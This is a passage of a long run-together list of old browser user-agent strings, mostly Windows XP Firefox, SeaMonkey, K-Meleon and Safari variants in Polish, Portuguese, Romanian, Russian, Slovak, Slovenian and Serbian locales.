Version/3.1.2 Safari/525.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.16) Gecko/20080702 SeaMonkey/1.1.11 Mnenhy/0.7.5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.22) Gecko/20090623 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.9) Gecko/20071030 SeaMonkey/1.1.6 Mnenhy/0.7.5.666 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.9a1) Gecko/20060812 SeaMonkey/1.5a Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; MEGAUPLOAD 1.0; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.5) Gecko/20060801 Firefox/1.5.0.5 Flock/0.7.4.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1) Gecko/20061003 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060918 Firefox/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729) FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.6) Gecko/2009011913 Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.5) Gecko/20041221 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.1b3pre) Gecko/20090205 Shiretoko/3.1b3pre Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB6 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.2.3) Gecko/20100401 Lightningquail/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9b5) Gecko/2008032620 Firefox/2.0 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0 Safari/523.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/532.4 (KHTML, like Gecko) WeltweitimnetzBrowser/0.25 Safari/532.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/533.3 (KHTML, like Gecko) QtWeb Internet Browser/3.7 http://www.QtWeb.net Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/533.3 (KHTML, like Gecko) WeltweitimnetzBrowser/0.25 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/534.12 (KHTML, like Gecko) Navscape/Pre-0.1 Safari/534.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/534.12 (KHTML, like Gecko) NavscapeNavigator/Pre-0.1 Safari/534.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/534.12 (KHTML, like Gecko) WeltweitimnetzBrowser/0.25 Safari/534.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/534.8 (KHTML, like Gecko) Navscape/Pre-0.2 Safari/534.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.21022) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.21) Gecko/20090303 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.21) Gecko/20090403 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.9) Gecko/20071025 Firefox/2.0 MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 GTB6 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1.7) Gecko/20091221 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1) Gecko/20060918 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1.21) Gecko/20090303 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; pt; rv:1.9.1.13) Gecko/20100917 Firefox/3.5.13 Lunascape/6.3.2.22803 Mozilla/5.0 (Windows; U; Windows NT 5.1; ro-RO; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; ro-RO; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ro-RO; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ro; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.6) Gecko/20050319 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.1.12) Gecko/20080203 K-Meleon/1.1.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080603 Firefox/2.0.0.14 Flock/1.2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.15) Gecko/20080706 Firefox/2.0.0.15 Flock/1.2.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 FirePHP/0.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2008121300 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.12) Gecko/20100824 MRA 5.7 (build 03755) Firefox/3.5.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 GTB7.1 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20101203 MRA 5.7 (build 03796) Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.13) Gecko/20101203 MRA Firefox/3.6.13 (.NET CLR 2.0.50727) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.18pre) Gecko/20110610 Namoroka/3.6.18pre ( ) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.20pre) Gecko/20110718 Namoroka/3.6.20pre ( ) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040911 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.8.1.4) Gecko/20070511 K-Meleon/1.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.9.1b3pre) Gecko/20081202 SeaMonkey/2.0a2 Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.9b3pre) Gecko/2008010602 SeaMonkey/2.0a1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:15.0) Gecko/20121011 Firefox/15.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; sk; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl-SI; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl-SI; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl-SI; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; sl-SI; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; sr; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; sr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; sr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows 